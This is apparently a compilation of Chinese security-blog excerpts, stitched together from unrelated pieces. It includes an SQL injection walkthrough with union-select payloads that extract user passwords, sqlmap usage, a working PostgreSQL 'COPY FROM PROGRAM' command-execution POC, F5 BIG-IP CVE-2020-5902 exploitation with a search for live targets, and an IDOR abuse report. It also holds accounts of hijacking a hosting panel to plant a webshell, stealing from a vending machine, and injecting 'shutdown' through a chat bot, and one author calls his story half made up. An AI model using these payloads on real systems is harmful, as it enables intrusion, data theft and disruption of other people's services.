一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数（请求参数、请求头）进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断：如果出现错误回显，则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断： http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错，说明存在注入 or判断： http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常，说明存在注入 XOR判断：后面的语句如果是正确的，则返回错误页面，如果是错误的，则返回正确页面，说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断：返回的页面和前面的页面相同，加上-1，返回错误页面，则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程： 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断，但是能用sqlmap就不用手动，所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法，后果自负 ...

漏洞描述 2021年2月24日，酒仙桥六号部队监测到VMware官方发布了多个高危漏洞的通告，CVE编号分别是CVE-2021-21972，CVE-2021-21973，CVE-2021-21974。对此，建议广大用户做好资产自查以及预防工作，以免遭受黑客攻击。 CVE-2021-21972：vSphere Client 远程执行代码漏洞 对端口443具有网络访问权限的恶意攻击者可利用此问题在承载vCenter Server的操作系统上以不受限制的权限执行命令。 CVE-2021-21973：vSphere Client SSRF漏洞 通过网络访问端口443的恶意攻击者可以向vCenter Server插件发送POST请求来利用此问题，从而导致信息泄露。 CVE-2021-21974：ESXi OpenSLP 堆溢出漏洞 在与ESXi相同网段内且可访问端口427的恶意攻击者有可能触发OpenSLP服务中的堆溢出问题，从而导致远程代码执行。 影响范围 CVE-2021-21972：vSphere Client 远程执行代码漏洞 VMware  vCenter Server 6.5 6.7 7.0 VMware  Cloud Foundation（Cloud Foundation） 3.X 4.X CVE-2021-21973：vSphere Client SSRF漏洞 VMware  vCenter Server 6.5 6.7 7.0 VMware  Cloud Foundation（vCenter Server） 3.X 4.X CVE-2021-21974：ESXi OpenSLP 堆溢出漏洞 VMware  ESXi 6.5 6.7 7.0 VMware  Cloud Foundation（ESXi） 3.X 4.X 根据目前360空间测绘系统显示，全球范围内（app:"vmware-ESX"or app:"vmware-VirtualCenter" or app:"vmware-vCenter"）共有737,473条数据信息，其中中国使用数量共有93,371个； 全球范围内分布情况如下（仅为分布情况，非漏洞影响情况） 修复方案 官方已经发布安全版本，请及时下载升级至安全版本： CVE-2021-21972：vSphere Client 远程执行代码漏洞 VMware  vCenter Server 6.5  U3n 6.7  U3l 7.0  U1c VMware  Cloud Foundation（Cloud Foundation） 3.10.1.2 4.2 CVE-2021-21973：vSphere Client SSRF漏洞 VMware  vCenter Server 6.5  U3n 6.7  U3l 7.0  U1c VMware  Cloud Foundation 3.10.1.2 4.2 CVE-2021-21974：ESXi OpenSLP 堆溢出漏洞 VMware  ESXi ESXi70U1c-17325551 ESXi670-202102401-SG ESXi650-202102101-SG VMware  Cloud Foundation 4.2 参考链接 ...

01 漏洞标题 某公共平台个人信息查看处存在全局越权修改 02 漏洞类型 越权漏洞 03 漏洞等级 高危 04 漏洞地址 http://xxx.xxx.xx.com/er.app.xxxx/apps.html 05 漏洞详情 0x01 注册家政账户后，登录： http://xxx.xxx.xx.com/er.app.xxxx/apps.html 这个是账户A：ceshi   www的个人信息 id=275 这个是账户B：ceshi123   天天的个人信息 id=274 然后在账户A下越权修改B账户的个人信息： 0x02 然后burp下抓包，替换uld参数，将其改成B账户的274 然后到B账户下查看个人信息： 发现B账户中的个人信息被成功越权修改了 这里uld参数是可以遍历的，所以可以直接越权修改所有已注册用户的个人敏感信息： 06 漏洞危害 通过遍历id参数全局越权修改所有已注册用户的个人信息，这样就可以定向的进行诈骗或者是其他的信息贩卖等。 07 建议措施 做好权限的控制，建议添加token。 PS：本文仅用于技术讨论与分析，严禁用于任何非法用途，违者后果自负...

支持的设备 当前版本的Fugu仅支持iPad Pro（2017）和iPhone 7（iOS 13-13.3.1）。 项目获取 git clone https://github.com/LinusHenze/Fugu.git 建造 注意：广大研究人员也可以直接从本项目的【Release页面】下载Fugu的预编译版本。 在构建Fugu之前，请确保已安装好了Xcode以及Homebrew。 然后使用Homebrew来安装llvm和binutils： brew install llvm binutils 接下来，在Xcode中打开Fugu项目，选择Fugu作为目标并进行项目构建。构建完成后，Xcode将在构建目录中生成Fugu项目以及一个Shellcode目录，然后我们就可以开始使用Fugu了。 工具使用 我建议大家以无参数的形式运行Fugu，并查看所有的可用选项。 如果你想要对你的苹果设备进行越狱操作，可以直接运行下列命令： Fugu iStrap 你可能需要多次运行该命令才可以成功启用Fugu，如果你尝试了四、五次都没成功的话，请调整设备进入DFU模式后再进行尝试。 该命令将会向你的苹果设备发送一个内核启动引导程序以及iDownload（一款能够用来向苹果设备发送文件或执行命令的程序）。 安装Sileo、SSH和MobileSubstrate 注意：越狱有风险，操作需谨慎，请备份好所有文件后再进行操作，如操作对设备造成的损坏，请用户自行承担。 确保你的设备上已经安装好了libusbmuxd，如果没有安装，你可以通过Homebrew并使用下列命令来安装libusbmuxd： brew install libusbmuxd 安装好usbmuxd之后，启动你的苹果设备并进入越狱模式。同时，确保你的设备已通过USB连接到了你的macOS设备上。 接下来，使用下列命令安装Sileo： python install_sileo.py 运行该脚本之后，将会下载所有安装Sileo所需的组件并完成Sileo的安装。安装完成之后，你将会在应用程序栏中看到Sileo的图标。此时，SSH将会在后台运行，请确保已经修改了root/mobile密码。 组件Fugu由下列组件构成： 1、Fugu：macOS应用程序，可以通过checkm8漏洞来利用你苹果设备中的安全缺陷，并上传iStrap、iStrap加载器以及iDownload。 2、iStrap加载器：一段Shellcode代码，iBoot后会修复iBoot并加载iStrap。 3、iStrap：内核启动引导程序，会在苹果设备启动时显示，它会修复内核，注入启动参数并向内核注入Shellcode。 4、iDownload：运行在苹果设备上的程序，会在启动引导过程中完成安装。程序会监听端口1337，并且会给用户提供一个类似Bash的接口。 ...

漏洞简述 F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。此漏洞允许未经身份验证的攻击者或经过身份验证的用户通过BIG-IP管理端口和/或自身IP对TMUI进行网络访问，以执行任意系统命令、创建或删除文件、禁用服务和/或执行任意Java代码。 受影响的版本 F5 BIG-IP 15.x 已知易受攻击版本 15.1.0、15.0.0F5 BIG-IP 14.x 已知易受攻击版本 14.1.0-14.1.2F5 BIG-IP 13.x 已知易受攻击版本 13.1.0-13.1.3F5 BIG-IP 12.x 已知易受攻击版本 12.1.0-12.1.5F5 BIG-IP 11.x 已知易受攻击版本 11.6.1-11.6.5 漏洞复现下载poc https://github.com/zhzyker/CVE-2020-5902 查找具备漏洞版本的目标，这里利用FOFA搜索的 title="BIG-IP" 关键信息 运行命令 python3 cve-2020-5902_file.py IP 利用成功，可以返回当前用户信息 注：本实验不得用于商业用途,仅做学习交流，一切后果自行承担。 ...

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”，管理员或具有“COPY TO/FROM PROGRAM”权限的用户，可以使用这个特性执行任意命令。 默认账号密码为postgres/postgres。 首先连接到postgres中，并执行参考链接中的POC： <font face="宋体" size="4">DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;</font> FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中 大概就这些…… ...

由于最近太无聊，就想去康康别人的数据库咋样不过也是拿中小型的开刀，大型的就算了。 准备工具:手机，MT管理器，大马，站长之家，其余的自想，可以带个图片马 顺便找个D.S网 他的域名加上admin康康，嗯。。。 之后用站长之家，查出它的IP 之后我们尝试访问它的主机控制台特别强调本贴针对虚拟主机搭建的东西 众所周知，只要加个端口3312和vhost就可以进入控制面板登录界面 然后咱们康康啊，试着访问这个服务器安装脚本的后台，进不去昂之后操作来重点了，如果需要安装的源码，那么就是加个install，这位小伙子没有警觉性，都不删这个的 试着访问它下方提示的，结果有安装锁 然后试着访问它填的数据库，都知道是config.php，然后咱们康康，结果一片空白 之后就得换方法了咱们康康，诶，这么访问就出来了然后他填了数据库信息，太不谨慎了，这个文件不填也可以安装的咱们试着登录他的主机面板填好，登录，嗯哼 然后不要动里面的源码，先改一下数据库密码。 再偷偷放上个大马玩玩 额。。。好吧其实这篇文章是我闲得慌胡编乱造，半真半假。。。 ...

前言：好久没更文了，水一篇超短的文章吧。经常碰到好多童鞋问我怎么成为一名黑客，学黑客是不是非常难，是不是需要非常高的编程功底或者非常高的计算机基础？其实并不是这样的。 1.什么是黑客 什么是黑客呢？在大部分人眼里黑客是一群神秘的群体，无恶不作，网络上的恐怖分子。当然最近某部CTF神剧也火了，让一部分群体认为黑客是一群坐在电竞椅上的热血青年，热爱追逐梦想。（虽然这种黑客不是没有，但是大部分都是穿着拖鞋，叼着香烟，满嘴荤段子的抠脚大叔），但是真实的黑客并非像网上传言中的到处搞破坏，也没有黑客帝国里的酷炫。黑客其实是一个平凡的群体，脑回路清奇，爱搞事，不甘寂寞罢了。 2.如何成为一名黑客 经常碰到很多中二少年问这样的问题，如何成为一名黑客？成为一名黑客需要怎么做？更有甚者花钱在网上找了所谓的师父，学了所谓的黑客技术。每次看到这些问题我都在想，你们有时间在这问这个问题，为啥不花这个时间去学习呢？一点基础都不会，即使碰到一些大牛，大牛们也不知道该从何教起。扯远了,其实成为一名黑客很简单，根据个人经验总结下面几点： 1.感兴趣（兴趣是最好的老师，兴趣是学下去的动力） 2.善于观察和总结（大部分的漏洞都是在经验的基础下和细节的观察下出来的） 3.脑回路清奇（这个很难解释，但是这是个非必须的重要条件） 以上三点可以看出看出成为一名黑客并不难，只要有兴趣，有观察力，甚至不用很好计算机基础，你就能成为一个新手黑客。 鲁迅曾经说过：深厚的计算机基础和良好的编程能力是在技术道路上越走越远的基础，但永远不是必须条件。下面就举例说明一下。 3.黑客从自动贩卖机开始 在我大学时候，宿舍楼下几乎都有一台自动贩卖机。那时候我就在想，既然没人管理，是不是可以破解自动贩卖机，白嫖饮料泡面之类的东西。 1.任何的漏洞都是从观察开始的 1.1一元夺宝     那时候自动贩卖机还有一元夺宝活动，只要选中商品花一块钱就可以参与夺宝，获奖概率是1/商品价格。活动介绍上有算法规则：订单号/商品价格求余，当余数等于某个值的时候代表获奖。     既然知道算法，只要知道订单号就可以通过一块钱买下任何一样高价值的商品，订单号也很好得到。在支付宝支付的时候到输入支付密码的时候，取消。这样就可以在待支付的订单里找到订单号了。（这个漏洞只是随口一提） 1.2总控遥控器 贩卖机当货物卖完的时候需要人工补货，每当补货的时候我就蹭上去观察细节，怎么补货的。第一次发现每次补货都会要输入一个补货码，才能打开贩卖机。第一次尝试是记录下补货员的补货码，当补货员走远，我再次输入补货码，失败了！！！后猜测可能是随机码。但是一次失败没必要气馁。继续观察。 在一次观察中发现，贩卖机里面有一个遥控器，是用于故障调试的。而且仅仅用一块吸铁石固定在贩卖机的内壁。这个时候我就有了一个大胆的想法。只要用一个强力磁铁，异性相斥。就可以把遥控器弹下来。再一次月黑风高的晚上实践之后发现我的猜想是没错的。 拿下遥控器，点击出货测试。你就会听到一阵饮料下坠，货盖打开的声音。 ...

咋们群里有个有很多这样的机器人,也名为ping机器人 先科普一下 ping是什么东西 就是一个网络诊断工具，判断网络是否通畅以及速度怎么样 具体请自行百度：链接在此：ping-百度百科 好，进入正题，因为一次偶然的机会 我听说，有些机器人的ping并非机器人来测速，是直接用cmd进行测速 于是做了以下测试 我们得到以下结果，说明命令成功的被执行 我所输入的shutdown -s -t 1 意思是一秒后电脑关机（Windows系统的cmd，也叫dos系统） 他居然关机了，结果我测试的机器人,结果不理想 不过大多数都被修复了 ...